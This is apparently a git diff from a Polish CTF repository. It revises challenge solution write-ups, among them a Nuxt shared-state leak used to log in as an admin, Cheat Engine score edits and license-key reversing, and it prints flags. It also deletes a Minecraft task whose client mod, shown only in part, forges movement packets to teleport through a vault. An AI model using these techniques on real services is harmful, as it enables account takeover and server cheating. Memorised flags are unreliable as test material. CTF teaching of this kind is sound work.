flagę. diff --git a/tasks/employment/solution.md b/tasks/employment/solution.md index 3a8e9e2f..356dd4bb 100644 --- a/tasks/employment/solution.md +++ b/tasks/employment/solution.md @@ -1,7 +1,8 @@ ## Opis To zadanie polega na zidentyfikowaniu i wykorzystaniu błędu w systemie cacheowania pseudonimu aktualnego użytkownika. -W ramach tego systemu w composable `useAuthState.ts`: +W ramach tego systemu w composable'u `useAuthState.ts`: + ```ts // VULNERABILITY: Module-level state leak! // This object is shared across all concurrent requests in the Node process. @@ -26,17 +27,18 @@ export const useAuthState = () => { } ``` -Przez zastosowanie ref na poziomie modułu, obiekt `activeUsersObj` jest współdzielony pomiędzy wszystkimi równoczesnymi requestami w Nuxtcie. -Oznacza to, że jeśli jeden użytkownik ustawi swój pseudonim, to każdy inny użytkownik, który wykona request w tym samym czasie, może odczytać ten pseudonim jako swój aktualny pseudonim. -W przypadku tego zadania użyta była mapa przechowują pary użytkownika oraz id rozwiązującego, aby zapewnić możliwość rozwiązania zadania przez wielu użytkowników jednocześnie. +Przez zastosowanie `ref` na poziomie modułu obiekt `activeUsersObj` jest współdzielony pomiędzy wszystkimi równoczesnymi żądaniami w Nuxtcie. +Oznacza to, że jeśli jeden użytkownik ustawi swój pseudonim, każdy inny użytkownik, który wykona żądanie w tym samym czasie, może odczytać ten pseudonim jako swój aktualny pseudonim. +W przypadku tego zadania użyto mapy przechowującej pary identyfikatora rozwiązującego i pseudonimu użytkownika, aby umożliwić rozwiązanie zadania przez wiele osób jednocześnie. ## Rozwiązanie Aby rozwiązać zadanie, należy wykonać następujące kroki: + 1. Założyć konto na stronie `unemployment-is-over-party.hack4krak.pl` i zalogować się. -2. Utworzyć aplikacje do pracy. +2. Utworzyć aplikację do pracy. 3. Otworzyć stronę `/change-password` i wprowadzić nowe hasło. 4. Odświeżyć stronę i skopiować nazwę użytkownika administratora. 5. Wylogować się ze strony, zalogować na konto administratora i przejść do panelu administracyjnego. 6. Zaakceptować zgłoszenie aplikacji do pracy. -7. Zalogować się ponownie na swoje konto i otworzyć stronę `/ticket`, gdzie w wiadomości od administratora znajdziesz flagę. \ No newline at end of file +7. Zalogować się ponownie na swoje konto i otworzyć stronę `/ticket`, gdzie w wiadomości od administratora znajdziesz flagę. diff --git a/tasks/flappy-krak/solution.md b/tasks/flappy-krak/solution.md index 60a894fe..462be492 100644 --- a/tasks/flappy-krak/solution.md +++ b/tasks/flappy-krak/solution.md @@ -1,5 +1,23 @@ +## Opis + +Mamy do czynienia z prostą grą na wzór `Flappy Bird` oraz informację, że po uzyskaniu 9999 punktów otrzymamy flagę. + +Idealnym narzędziem do rozwiązania tego zadania jest [Cheat Engine](https://www.cheatengine.org/). + ## Rozwiązanie -1. Znajdujemy adres komórki z scorem w cheatengine -2. Modyfikujemy score na 9999 -3. Otrzymujemy flagę +1. Uruchamiamy grę. +2. Otwieramy Cheat Engine. +3. Wybieramy proces gry. +4. Na początku gry sprawdzamy aktualny wynik (np. 0). +5. W Cheat Engine w polu Value wpisujemy aktualny score. +6. Wracamy do gry i zdobywamy kilka punktów (np. 1–3). +7. Ponownie wpisujemy nową wartość score w Cheat Engine. +8. Klikamy Next Scan. +9. Powtarzamy proces, aż zostanie od jednego do kilku adresów. +10. Po zawężeniu wyników: + - zmieniamy ręcznie wartości podejrzanych adresów, + - obserwujemy, który wpływa na wynik w grze. +11. Kiedy mamy już pewność co do poprawnego adresu komórki, zmieniamy wartość tego adresu na `9998`. +12. Wracamy do gry i zdobywamy ręcznie jeden punkt. +13. Na ekranie wyświetla się flaga. diff --git a/tasks/fly-you-fools/solution.md b/tasks/fly-you-fools/solution.md index c7ab2273..3410e98b 100644 --- a/tasks/fly-you-fools/solution.md +++ b/tasks/fly-you-fools/solution.md @@ -1,28 +1,29 @@ ## Opis -Otrzymaliście animację zrobioną w scratchu, skompilowaną za pomocą [Turbowarpa](https://packager.turbowarp.org). +Otrzymaliście animację zrobioną w Scratchu, skompilowaną za pomocą [TurboWarpa](https://packager.turbowarp.org). ## Rozwiązanie -Aby poprawić wydajność animacji można użyć [rozpakowywacza](https://turbowarp.github.io/unpackager/) (tak to się chyba tłumaczy, prawda?) turbowarpa. +Aby poprawić wydajność animacji, można użyć [rozpakowywacza](https://turbowarp.github.io/unpackager/) TurboWarpa. Problemem było to, że podmieniona została nazwa jednej funkcji - `decodeChunk` na `dc`. Sprawiło to, że nasz program nie radził sobie z grą. Wystarczyło przywrócić jej nazwę, dzięki czemu dostajemy plik `.sb3`, który można zaimportować do Scratcha. Głównym problemem wydajnościowym jest pisak - przerenderowanie sceny przy każdym powtórzeniu pętli mocno go spowolniło. -Animacja ma też błąd implementacyjny - liczy `ln(e^x) = x`, który jest zamieniany przez javascripta w `Infinity`. +Animacja ma też błąd implementacyjny: oblicza `ln(e^x) = x`, który jest zamieniany przez JavaScript w `Infinity`. Po tych dwóch poprawkach otrzymujemy `hack4KrakCTF{1587815024503859493813336131598}` - naszą flagę. ## AI Nie poradziły sobie: + - ChatGPT Pro - Uznał że zadanie to test turinga i stwierdził że kocha [Jožina z bažin](https://www.youtube.com/watch?v=qCmRga2fIy0) - DeepSeek v4 Flash Free (opencode) -## Informacje dodatkowe +### Informacje dodatkowe Użyty soundtrack: [Benny Hill Theme](https://www.youtube.com/watch?v=MK6TXMsvgQg) Mapa w tle: [OpenStreetMap](https://osm.org) -Oryginalny projekt na scratchu: https://scratch.mit.edu/projects/1319375512/ +Oryginalny projekt w Scratchu: https://scratch.mit.edu/projects/1319375512/ diff --git a/tasks/handshake/solution.md b/tasks/handshake/solution.md index 8e90d38a..cfcb9375 100644 --- a/tasks/handshake/solution.md +++ b/tasks/handshake/solution.md @@ -1,7 +1,14 @@ +## Opis + +Zadanie polegało na zdobyciu wszystkich porozrzucanych po wydarzeniu fragmentów kodu QR oraz zeskanowaniu całości. +Mimo że nie miało wiele wspólnego z klasycznym cyberbezpieczeństwem, zachęcało uczestników +do interakcji zarówno ze sobą nawzajem, jak i z organizatorami. + ## Rozwiązanie Należało zdobyć cztery fragmenty kodu QR: + 1. Fragment ze swojej koperty. 2. Fragment z koperty innej drużyny. -3. Fragment od organizatorów. -4. Fragment przyczepiony na ścianie. +3. Fragment od organizatorów (po wypowiedzeniu hasła `masło klarowane` oraz wykonaniu zadania). +4. Fragment przyczepiony na ścianie na korytarzu. diff --git a/tasks/hidden-site/solution.md b/tasks/hidden-site/solution.md index 753f1506..40e97b0d 100644 --- a/tasks/hidden-site/solution.md +++ b/tasks/hidden-site/solution.md @@ -6,6 +6,7 @@ Jest to sieć, która pozwala na całkowicie anonimowe przeglądanie stron inter Dzięki niej istnieje **dark web**, czyli zbiór stron, które nie chcą lub nie mogą być dostępne w publicznym internecie. ## Rozwiązanie -1. Pobierz i zainstaluj [TOR Browser](https://www.torproject.org/download/) -2. Uruchom przeglądarkę -3. W pasku adresu wpisz domenę podaną w zadaniu \ No newline at end of file + +1. Pobierz i zainstaluj [Tor Browser](https://www.torproject.org/download/). +2. Uruchom przeglądarkę. +3. W pasku adresu wpisz domenę podaną w zadaniu. diff --git a/tasks/kradziez-rzeczywistosci/solution.md b/tasks/kradziez-rzeczywistosci/solution.md index e4ae0411..81c93d34 100644 --- a/tasks/kradziez-rzeczywistosci/solution.md +++ b/tasks/kradziez-rzeczywistosci/solution.md @@ -6,15 +6,15 @@ Modyfikacja dodaje walidację klucza licencyjnego. Program oczekuje argumentu `- ## Rozwiązanie -Otwórz binarkę w narzędziu typu Binary Ninja, IDA lub Ghidra. Odnajdź funkcję `verify_license` - można do niej trafić przez wyszukanie stringa `Invalid license key`. +Otwórz plik binarny w narzędziu typu Binary Ninja, IDA lub Ghidra. Odnajdź funkcję `verify_license` — można do niej trafić przez wyszukanie ciągu znaków `Invalid license key`. -W okolicy wykonań o id 014de62f znajdujemy ogromną ilość porównań na pojedynczych bajtach zmiennej - są to sprawdzenia kolejnych liter w kluczu licencyjnym. Jeśli zatem literka po literce wyciągniemy te znaki, otrzymamy +W okolicy instrukcji o adresie `014de62f` znajdujemy wiele porównań pojedynczych bajtów zmiennej. Są to sprawdzenia kolejnych znaków klucza licencyjnego. Odczytując je po kolei, otrzymamy: ``` -l0uiZ-cO-ty-RObIsZ-j@-z-t0bOm-OsZaIeleEeEeE +l0uiZ-cO-ty-RObIsZ-j@-z-t0bom-OsZaIeleEeEeE ``` -## Użycie +### Użycie Program uruchamiamy z kluczem: diff --git a/tasks/logika-nie-logikuje/solution.md b/tasks/logika-nie-logikuje/solution.md index 91db1d76..fcf0d636 100644 --- a/tasks/logika-nie-logikuje/solution.md +++ b/tasks/logika-nie-logikuje/solution.md @@ -1,3 +1,11 @@ +## Opis + +Zadanie było najzwyczajniejszym przykładem bramek logicznych. Istniało wiele +możliwości wykonania go: od ręcznego rysowania diagramu, przez użycie symulatorów bramek logicznych, aż po zastosowanie +zaawansowanych narzędzi takich jak [Z3](https://en.wikipedia.org/wiki/Z3_Theorem_Prover). + +## Rozwiązanie +  Po rozwiązaniu zadania otrzymywaliśmy ciąg: diff --git a/tasks/machina-exitii/solution.md b/tasks/machina-exitii/solution.md index ec5d71c6..66937481 100644 --- a/tasks/machina-exitii/solution.md +++ b/tasks/machina-exitii/solution.md @@ -1,7 +1,14 @@ +## Opis + +Zadanie pomimo swojej etykiety `trudne` było najprostszym zadaniem na całym konkursie (prawdopodobnie nawet prostszym od ankiety). + +Flaga została ukryta w pliku `.DS_Store`, automatycznie tworzonym przez Findera w macOS i przechowującym metadane dotyczące katalogu (np. układ ikon). + +Cała reszta plików zadania była bezużytecznym kodem wygenerowanym przez AI mającym na celu odwrócenie waszej uwagi od głównego fragmentu zadania. + ## Rozwiązanie -Flaga była ukryta w .DS_Store -## Flaga +W pliku `.DS_Store` znajdowała się flaga zapisana otwartym tekstem: ``` hack4KrakCTF{cz4s4m1_trz3b4_zr0b1c_kr0k_w_tyl} diff --git a/tasks/polyglot/solution.md b/tasks/polyglot/solution.md index 1bab31b4..4f61429c 100644 --- a/tasks/polyglot/solution.md +++ b/tasks/polyglot/solution.md @@ -24,7 +24,7 @@ Po uruchomieniu otrzymujemy flagę: hack4KrakCTF{n4jl3p5zy_j3zyk_pr0gr4m0w4n14_t0_5p4cj4} ``` -## Informacje dodatkowe +### Informacje dodatkowe Widoczny kod Pythona był red herringiem. Miał sugerować dekodowanie, hashowanie i odzyskiwanie danych, ale nie był potrzebny do rozwiązania. diff --git a/tasks/quick-heist/bukkit.yml b/tasks/quick-heist/bukkit.yml deleted file mode 100644 index 20c056b8..00000000 --- a/tasks/quick-heist/bukkit.yml +++ /dev/null @@ -1,2 +0,0 @@ -settings: - connection-throttle: -1 diff --git a/tasks/quick-heist/config.yaml b/tasks/quick-heist/config.yaml deleted file mode 100644 index 56070e93..00000000 --- a/tasks/quick-heist/config.yaml +++ /dev/null @@ -1,15 +0,0 @@ -$schema: "../schema.json" - -id: "quick-heist" -name: "Quick Heist" -flag_hash: "7ac3c938b3042503e5a73def31198aaec0be2a77c8515f1b524f890d6b033839" -difficulty_estimate: "hard" -labels: - - "games" - -task_release_phase: afternoon-day-2 - -display: - icon_coordinates: - x: 19.91500 - y: 50.02100 diff --git a/tasks/quick-heist/description.md b/tasks/quick-heist/description.md deleted file mode 100644 index 1610c47d..00000000 --- a/tasks/quick-heist/description.md +++ /dev/null @@ -1,13 +0,0 @@ -## Zadanie - -Udało Wam się już przejść `session-snack`. Bardzo dobrze! - -Teraz mam dla was inną wersję tego zadania, troszkę ciekawszą i bardziej wymagającą wersję. -Wersja Minecraft: `1.21.6`\ -Adres: `quick-heist.hack4krak.pl:25568` - -## Wskazówki - -- Serwer jest non-premium, więc nie trzeba mieć kupionej gry, żeby na niego wejść. -- Potrzebujesz specjalnego klienta — pobierz i zbuduj go: -- Kolejność ma znaczenie. diff --git a/tasks/quick-heist/docker-compose.yaml b/tasks/quick-heist/docker-compose.yaml deleted file mode 100644 index 4541c759..00000000 --- a/tasks/quick-heist/docker-compose.yaml +++ /dev/null @@ -1,71 +0,0 @@ -services: - quick-heist: - image: itzg/minecraft-server:stable-java21 - stdin_open: true - ports: - - target: 25565 - published: 25568 - protocol: tcp - mode: host - networks: - - ctf-services-net - security_opt: - - no-new-privileges:true - deploy: - restart_policy: - condition: on-failure - resources: - limits: - cpus: "2" - memory: 4G - environment: - EULA: "TRUE" - TYPE: "PAPER" - VERSION: "1.21.6" - MEMORY: "3G" - ENABLE_COMMAND_BLOCK: "true" - FUNCTION_PERMISSION_LEVEL: "4" - OP_PERMISSION_LEVEL: "4" - COPY_CONFIG_DEST: "/data" - SYNC_SKIP_NEWER_IN_DESTINATION: "false" - ONLINE_MODE: "false" - ENFORCE_SECURE_PROFILE: "false" - DIFFICULTY: "normal" - GAMEMODE: "adventure" - FORCE_GAMEMODE: "true" - MOTD: "quick heist" - VIEW_DISTANCE: "8" - SIMULATION_DISTANCE: "6" - SPAWN_PROTECTION: "0" - LEVEL_TYPE: "flat" - RCON_CMDS_STARTUP: |- - gamerule doMobSpawning false - gamerule commandBlockOutput false - - scoreboard objectives add quickHeist dummy - - setworldspawn 0 64 25 180 - - fill -26 63 -26 26 75 -14 minecraft:bedrock - fill -25 64 -25 25 74 -15 minecraft:air - - setblock 0 65 -13 minecraft:oak_button[face=wall,facing=south] replace - setblock 0 65 -14 minecraft:command_block{Command:"scoreboard players set @p[scores={quickHeist=0},x=-26,y=63,z=-13,dx=52,dy=12,dz=50] quickHeist 1"} replace - - setblock 0 65 -25 minecraft:oak_button[face=wall,facing=south] replace - setblock 0 65 -26 minecraft:command_block{Command:"scoreboard players set @p[scores={quickHeist=1},x=-25,y=64,z=-25,dx=50,dy=10,dz=10] quickHeist 2"} replace - - setblock 0 62 0 minecraft:repeating_command_block[facing=east,conditional=false]{Command:"tell @a[scores={quickHeist=2},x=-26,y=63,z=-13,dx=52,dy=12,dz=50] hack4KrakCTF{szybki_napad_na_bedrockowy_skarbiec}",auto:1b} replace - setblock 1 62 0 minecraft:chain_command_block[facing=east,conditional=false]{Command:"scoreboard players set @a[scores={quickHeist=2},x=-26,y=63,z=-13,dx=52,dy=12,dz=50] quickHeist 3",auto:1b} replace - configs: - - source: bukkit - target: /config/bukkit.yml - -configs: - bukkit: - file: ./bukkit.yml - -networks: - ctf-services-net: - external: true - name: bridge diff --git a/tasks/quick-heist/pictures/icon.png b/tasks/quick-heist/pictures/icon.png deleted file mode 100644 index 3949897e..00000000 Binary files a/tasks/quick-heist/pictures/icon.png and /dev/null differ diff --git a/tasks/quick-heist/solution.md b/tasks/quick-heist/solution.md deleted file mode 100644 index 5c32127c..00000000 --- a/tasks/quick-heist/solution.md +++ /dev/null @@ -1,26 +0,0 @@ -## Opis - -Serwer stawia 53-blokowy (X: -26 do 26) bedrockowy vault w odległości ~40 bloków na północ od spawnu (Z=25). Gracz nie może go obejść ani przez niego przejść normalnie. Dwie mechaniki: - -- **Zewnętrzny przycisk** (Z=-13, przed południową ścianą) — dostępny normalnie w zasięgu 3 bloków -- **Wewnętrzny przycisk** (Z=-25, przy północnej wewnętrznej ścianie) — dostępny tylko po teleporcie - -Scoreboard `quickHeist` śledzi stan gracza (dummy, startowo 0): -- 0 → start -- 1 → naciśnięto zewnętrzny przycisk -- 2 → naciśnięto wewnętrzny przycisk, czeka na powrót na zewnątrz -- 3 → ukończono - -Repeating command block (Y=62, pod spawnem) co tick sprawdza: stan=2 AND gracz na zewnątrz → `/tell` flag → chain block ustawia stan=3. - -## Rozwiązanie - -1. Zbudować i uruchomić klienta z `src/client/` dla Minecraft `1.21.6` (Fabric, klawisz `K` = teleport 50 bloków do przodu). -2. Wejść na serwer — spawn przy Z=25 patrzący na północ. -3. Podejść do zewnętrznej południowej ściany (Z≈-10) i nacisnąć przycisk przy Z=-13. -4. Wrócić do pozycji spawnu (Z=25), patrzeć na północ, nacisnąć `K` — teleport ląduje przy Z=-25 (wewnątrz, przy przycisku wewnętrznym). -5. Nacisnąć przycisk wewnętrzny przy Z=-25 (można też zrobić krok na południe żeby był w zasięgu). -6. Odwrócić się (patrzeć na południe), nacisnąć `K` — teleport 50 bloków na południe wyprowadza z powrotem przy Z=25 (spawn, na zewnątrz). -7. Serwer (repeating CB) wykrywa stan=2 AND gracz na zewnątrz, wysyła `/tell` z flagą. - -Flaga: `hack4KrakCTF{szybki_napad_na_bedrockowy_skarbiec}` diff --git a/tasks/quick-heist/src/client/build.gradle b/tasks/quick-heist/src/client/build.gradle deleted file mode 100644 index 02102585..00000000 --- a/tasks/quick-heist/src/client/build.gradle +++ /dev/null @@ -1,27 +0,0 @@ -plugins { - id "fabric-loom" version "1.6-SNAPSHOT" -} - -sourceCompatibility = targetCompatibility = JavaVersion.VERSION_21 - -archivesBaseName = project.archives_base_name -version = project.mod_version -group = project.maven_group - -repositories {} - -dependencies { - minecraft "com.mojang:minecraft:${project.minecraft_version}" - mappings loom.officialMojangMappings() - modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" -} - -processResources { - filesMatching("fabric.mod.json") { - expand "version": project.version, "mc_version": project.minecraft_version - } -} - -tasks.withType(JavaCompile).configureEach { - it.options.encoding("UTF-8") -} diff --git a/tasks/quick-heist/src/client/gradle.properties b/tasks/quick-heist/src/client/gradle.properties deleted file mode 100644 index 874ee121..00000000 --- a/tasks/quick-heist/src/client/gradle.properties +++ /dev/null @@ -1,8 +0,0 @@ -org.gradle.jvmargs=-Xmx2G - -minecraft_version=1.21.6 -loader_version=0.19.2 - -mod_version=0.1.0 -maven_group=dev.norbiros -archives_base_name=quick-heist-client diff --git a/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.jar b/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index 41d9927a..00000000 Binary files a/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.properties b/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.properties deleted file mode 100644 index 48c0a02c..00000000 --- a/tasks/quick-heist/src/client/gradle/wrapper/gradle-wrapper.properties +++ /dev/null @@ -1,5 +0,0 @@ -distributionBase=GRADLE_USER_HOME -distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip -zipStoreBase=GRADLE_USER_HOME -zipStorePath=wrapper/dists diff --git a/tasks/quick-heist/src/client/gradlew b/tasks/quick-heist/src/client/gradlew deleted file mode 100755 index 1b6c7873..00000000 --- a/tasks/quick-heist/src/client/gradlew +++ /dev/null @@ -1,234 +0,0 @@ -#!/bin/sh - -# -# Copyright © 2015-2021 the original authors. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# https://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -############################################################################## -# -# Gradle start up script for POSIX generated by Gradle. -# -# Important for running: -# -# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is -# noncompliant, but you have some other compliant shell such as ksh or -# bash, then to run this script, type that shell name before the whole -# command line, like: -# -# ksh Gradle -# -# Busybox and similar reduced shells will NOT work, because this script -# requires all of these POSIX shell features: -# * functions; -# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», -# «${var#prefix}», «${var%suffix}», and «$( cmd )»; -# * compound commands having a testable exit status, especially «case»; -# * various built-in commands including «command», «set», and «ulimit». -# -# Important for patching: -# -# (2) This script targets any POSIX shell, so it avoids extensions provided -# by Bash, Ksh, etc; in particular arrays are avoided. -# -# The "traditional" practice of packing multiple parameters into a -# space-separated string is a well documented source of bugs and security -# problems, so this is (mostly) avoided, by progressively accumulating -# options in "$@", and eventually passing that to Java. -# -# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, -# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; -# see the in-line comments for details. -# -# There are tweaks for specific operating systems such as AIX, CygWin, -# Darwin, MinGW, and NonStop. -# -# (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt -# within the Gradle project. -# -# You can find Gradle at https://github.com/gradle/gradle/. -# -############################################################################## - -# Attempt to set APP_HOME - -# Resolve links: $0 may be a link -app_path=$0 - -# Need this for daisy-chained symlinks. -while - APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path - [ -h "$app_path" ] -do - ls=$( ls -ld "$app_path" ) - link=${ls#*' -> '} - case $link in #( - /*) app_path=$link ;; #( - *) app_path=$APP_HOME$link ;; - esac -done - -APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit - -APP_NAME="Gradle" -APP_BASE_NAME=${0##*/} - -# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' - -# Use the maximum available, or set MAX_FD != -1 to use that value. -MAX_FD=maximum - -warn () { - echo "$*" -} >&2 - -die () { - echo - echo "$*" - echo - exit 1 -} >&2 - -# OS specific support (must be 'true' or 'false'). -cygwin=false -msys=false -darwin=false -nonstop=false -case "$( uname )" in #( - CYGWIN* ) cygwin=true ;; #( - Darwin* ) darwin=true ;; #( - MSYS* | MINGW* ) msys=true ;; #( - NONSTOP* ) nonstop=true ;; -esac - -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar - - -# Determine the Java command to use to start the JVM. -if [ -n "$JAVA_HOME" ] ; then - if [ -x "$JAVA_HOME/jre/sh/java" ] ; then - # IBM's JDK on AIX uses strange locations for the executables - JAVACMD=$JAVA_HOME/jre/sh/java - else - JAVACMD=$JAVA_HOME/bin/java - fi - if [ ! -x "$JAVACMD" ] ; then - die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." - fi -else - JAVACMD=java - which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." -fi - -# Increase the maximum file descriptors if we can. -if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then - case $MAX_FD in #( - max*) - MAX_FD=$( ulimit -H -n ) || - warn "Could not query maximum file descriptor limit" - esac - case $MAX_FD in #( - '' | soft) :;; #( - *) - ulimit -n "$MAX_FD" || - warn "Could not set maximum file descriptor limit to $MAX_FD" - esac -fi - -# Collect all arguments for the java command, stacking in reverse order: -# * args from the command line -# * the main class name -# * -classpath -# * -D...appname settings -# * --module-path (only if needed) -# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. - -# For Cygwin or MSYS, switch paths to Windows format before running java -if "$cygwin" || "$msys" ; then - APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) - CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) - - JAVACMD=$( cygpath --unix "$JAVACMD" ) - - # Now convert the arguments - kludge to limit ourselves to /bin/sh - for arg do - if - case $arg in #( - -*) false ;; # don't mess with options #( - /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath - [ -e "$t" ] ;; #( - *) false ;; - esac - then - arg=$( cygpath --path --ignore --mixed "$arg" ) - fi - # Roll the args list around exactly as many times as the number of - # args, so each arg winds up back in the position where it started, but - # possibly modified. - # - # NB: a `for` loop captures its iteration list before it begins, so - # changing the positional parameters here affects neither the number of - # iterations, nor the values presented in `arg`. - shift # remove old arg - set -- "$@" "$arg" # push replacement arg - done -fi - -# Collect all arguments for the java command; -# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of -# shell script including quotes and variable substitutions, so put them in -# double quotes to make sure that they get re-expanded; and -# * put everything else in single quotes, so that it's not re-expanded. - -set -- \ - "-Dorg.gradle.appname=$APP_BASE_NAME" \ - -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ - "$@" - -# Use "xargs" to parse quoted args. -# -# With -n1 it outputs one arg per line, with the quotes and backslashes removed. -# -# In Bash we could simply go: -# -# readarray ARGS < <( xargs -n1 <<<"$var" ) && -# set -- "${ARGS[@]}" "$@" -# -# but POSIX shell has neither arrays nor command substitution, so instead we -# post-process each arg (as a line of input to sed) to backslash-escape any -# character that might be a shell metacharacter, then use eval to reverse -# that process (while maintaining the separation between arguments), and wrap -# the whole thing up as a single "set" statement. -# -# This will of course break if any of these variables contains a newline or -# an unmatched quote. -# - -eval "set -- $( - printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | - xargs -n1 | - sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | - tr '\n' ' ' - )" '"$@"' - -exec "$JAVACMD" "$@" diff --git a/tasks/quick-heist/src/client/gradlew.bat b/tasks/quick-heist/src/client/gradlew.bat deleted file mode 100644 index 107acd32..00000000 --- a/tasks/quick-heist/src/client/gradlew.bat +++ /dev/null @@ -1,89 +0,0 @@ -@rem -@rem Copyright 2015 the original author or authors. -@rem -@rem Licensed under the Apache License, Version 2.0 (the "License"); -@rem you may not use this file except in compliance with the License. -@rem You may obtain a copy of the License at -@rem -@rem https://www.apache.org/licenses/LICENSE-2.0 -@rem -@rem Unless required by applicable law or agreed to in writing, software -@rem distributed under the License is distributed on an "AS IS" BASIS, -@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -@rem See the License for the specific language governing permissions and -@rem limitations under the License. -@rem - -@if "%DEBUG%" == "" @echo off -@rem ########################################################################## -@rem -@rem Gradle startup script for Windows -@rem -@rem ########################################################################## - -@rem Set local scope for the variables with windows NT shell -if "%OS%"=="Windows_NT" setlocal - -set DIRNAME=%~dp0 -if "%DIRNAME%" == "" set DIRNAME=. -set APP_BASE_NAME=%~n0 -set APP_HOME=%DIRNAME% - -@rem Resolve any "." and ".." in APP_HOME to make it shorter. -for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi - -@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" - -@rem Find java.exe -if defined JAVA_HOME goto findJavaFromJavaHome - -set JAVA_EXE=java.exe -%JAVA_EXE% -version >NUL 2>&1 -if "%ERRORLEVEL%" == "0" goto execute - -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. - -goto fail - -:findJavaFromJavaHome -set JAVA_HOME=%JAVA_HOME:"=% -set JAVA_EXE=%JAVA_HOME%/bin/java.exe - -if exist "%JAVA_EXE%" goto execute - -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. - -goto fail - -:execute -@rem Setup the command line - -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar - - -@rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* - -:end -@rem End local scope for the variables with windows NT shell -if "%ERRORLEVEL%"=="0" goto mainEnd - -:fail -rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of -rem the _cmd.exe /c_ return code! -if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 -exit /b 1 - -:mainEnd -if "%OS%"=="Windows_NT" endlocal - -:omega diff --git a/tasks/quick-heist/src/client/settings.gradle b/tasks/quick-heist/src/client/settings.gradle deleted file mode 100644 index 81cb24a5..00000000 --- a/tasks/quick-heist/src/client/settings.gradle +++ /dev/null @@ -1,9 +0,0 @@ -pluginManagement { - repositories { - maven { url = "https://maven.fabricmc.net/" } - maven { url = "https://maven.legacyfabric.net/" } - maven { url = "https://plugins.gradle.org/m2/" } - } -} - -rootProject.name = "quick-heist-client" diff --git a/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/HeistTeleport.java b/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/HeistTeleport.java deleted file mode 100644 index 192c1365..00000000 --- a/tasks/quick-heist/src/client/src/main/java/dev/norbiros/quickheist/HeistTeleport.java +++ /dev/null @@ -1,96 +0,0 @@ -package dev.norbiros.quickheist; - -import net.minecraft.client.Minecraft; -import net.minecraft.client.player.LocalPlayer; -import net.minecraft.network.protocol.game.ServerboundMovePlayerPacket; -import net.minecraft.world.entity.Entity; -import net.minecraft.world.phys.Vec3; - -import java.lang.reflect.Method; - -public final class HeistTeleport { - private static final double STEP_DISTANCE = 50; - private static final int GLFW_KEY_K = 75; - private static final int GLFW_PRESS = 1; - private static boolean wasPressed; - - private HeistTeleport() { - } - - public static void tick(Minecraft minecraft) { - if (minecraft.player == null || minecraft.level == null || minecraft.gameMode == null) return; - - boolean pressed = isKPressed(minecraft); - if (!pressed || wasPressed) { - wasPressed = pressed; - return; - } - - wasPressed = true; - run(minecraft); - } - - private static void run(Minecraft minecraft) { - LocalPlayer player = minecraft.player; - Vec3 start = player.position(); - Vec3 forward = horizontalForward(player).scale(STEP_DISTANCE); - Vec3 up = start.add(0, STEP_DISTANCE, 0); - Vec3 front = up.add(forward); - Vec3 target = front.add(0, -STEP_DISTANCE, 0); - player.setDeltaMovement(Vec3.ZERO); - flushGroundTicks(player); - sendPosition(player, up); - sendPosition(player, front); - 